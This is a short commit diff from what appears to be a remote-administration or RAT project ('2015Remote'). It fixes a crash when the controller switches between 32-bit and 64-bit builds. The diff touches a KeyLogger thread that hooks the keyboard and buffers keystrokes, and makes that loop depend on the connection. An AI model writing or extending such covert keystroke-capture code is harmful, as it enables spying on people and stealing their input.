Fix: Switching between 32bits and 64bits causes master crash
This commit is contained in:
@@ -679,7 +679,7 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
|
|||||||
if (!SetHook(WriteBuffer, pThis->m_Buffer)) {
|
if (!SetHook(WriteBuffer, pThis->m_Buffer)) {
|
||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
while (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE));
|
while (pThis->IsConnected() && PeekMessage(&msg, NULL, 0, 0, PM_REMOVE));
|
||||||
#else
|
#else
|
||||||
int num = lstrlen(KeyBuffer);
|
int num = lstrlen(KeyBuffer);
|
||||||
if (pThis->IsWindowsFocusChange(PreviousFocus, WindowCaption, szText, num > 0) || num > 2000) {
|
if (pThis->IsWindowsFocusChange(PreviousFocus, WindowCaption, szText, num > 0) || num > 2000) {
|
||||||
|
|||||||
@@ -478,6 +478,14 @@ BOOL CMy2015RemoteApp::InitInstance()
|
|||||||
Mprintf("[InitInstance] 处理自定义压缩/解压命令后退出。\n");
|
Mprintf("[InitInstance] 处理自定义压缩/解压命令后退出。\n");
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
iniFile cfg;
|
||||||
|
int bits = cfg.GetInt("auth", "bits", 64);
|
||||||
|
const int currentBits = sizeof(int*) * 8;
|
||||||
|
if (bits != currentBits) {
|
||||||
|
Mprintf("[InitInstance] 运行%d位程序,上次运行为%d位\n", currentBits, bits);
|
||||||
|
cfg.SetInt("auth", "bits", currentBits);
|
||||||
|
cfg.SetStr("auth", "version", "");
|
||||||
|
}
|
||||||
|
|
||||||
BOOL runNormal = THIS_CFG.GetInt("settings", "RunNormal", 0);
|
BOOL runNormal = THIS_CFG.GetInt("settings", "RunNormal", 0);
|
||||||
|
|
||||||
@@ -489,6 +497,7 @@ BOOL CMy2015RemoteApp::InitInstance()
|
|||||||
THIS_CFG.SetInt(CFG_CRASH_SECTION, CFG_CRASH_PROTECTED, 0);
|
THIS_CFG.SetInt(CFG_CRASH_SECTION, CFG_CRASH_PROTECTED, 0);
|
||||||
// 确保是正常模式(服务端已设置,这里再次确保)
|
// 确保是正常模式(服务端已设置,这里再次确保)
|
||||||
THIS_CFG.SetInt("settings", "RunNormal", 1);
|
THIS_CFG.SetInt("settings", "RunNormal", 1);
|
||||||
|
THIS_CFG.SetStr("auth", "version", "");
|
||||||
runNormal = 1;
|
runNormal = 1;
|
||||||
Mprintf("[InitInstance] 检测到代理崩溃保护标志,切换到正常运行模式。\n");
|
Mprintf("[InitInstance] 检测到代理崩溃保护标志,切换到正常运行模式。\n");
|
||||||
MessageBoxL("检测到代理程序连续崩溃,已自动切换到正常运行模式。\n\n"
|
MessageBoxL("检测到代理程序连续崩溃,已自动切换到正常运行模式。\n\n"
|
||||||
|
|||||||
Reference in New Issue
Block a user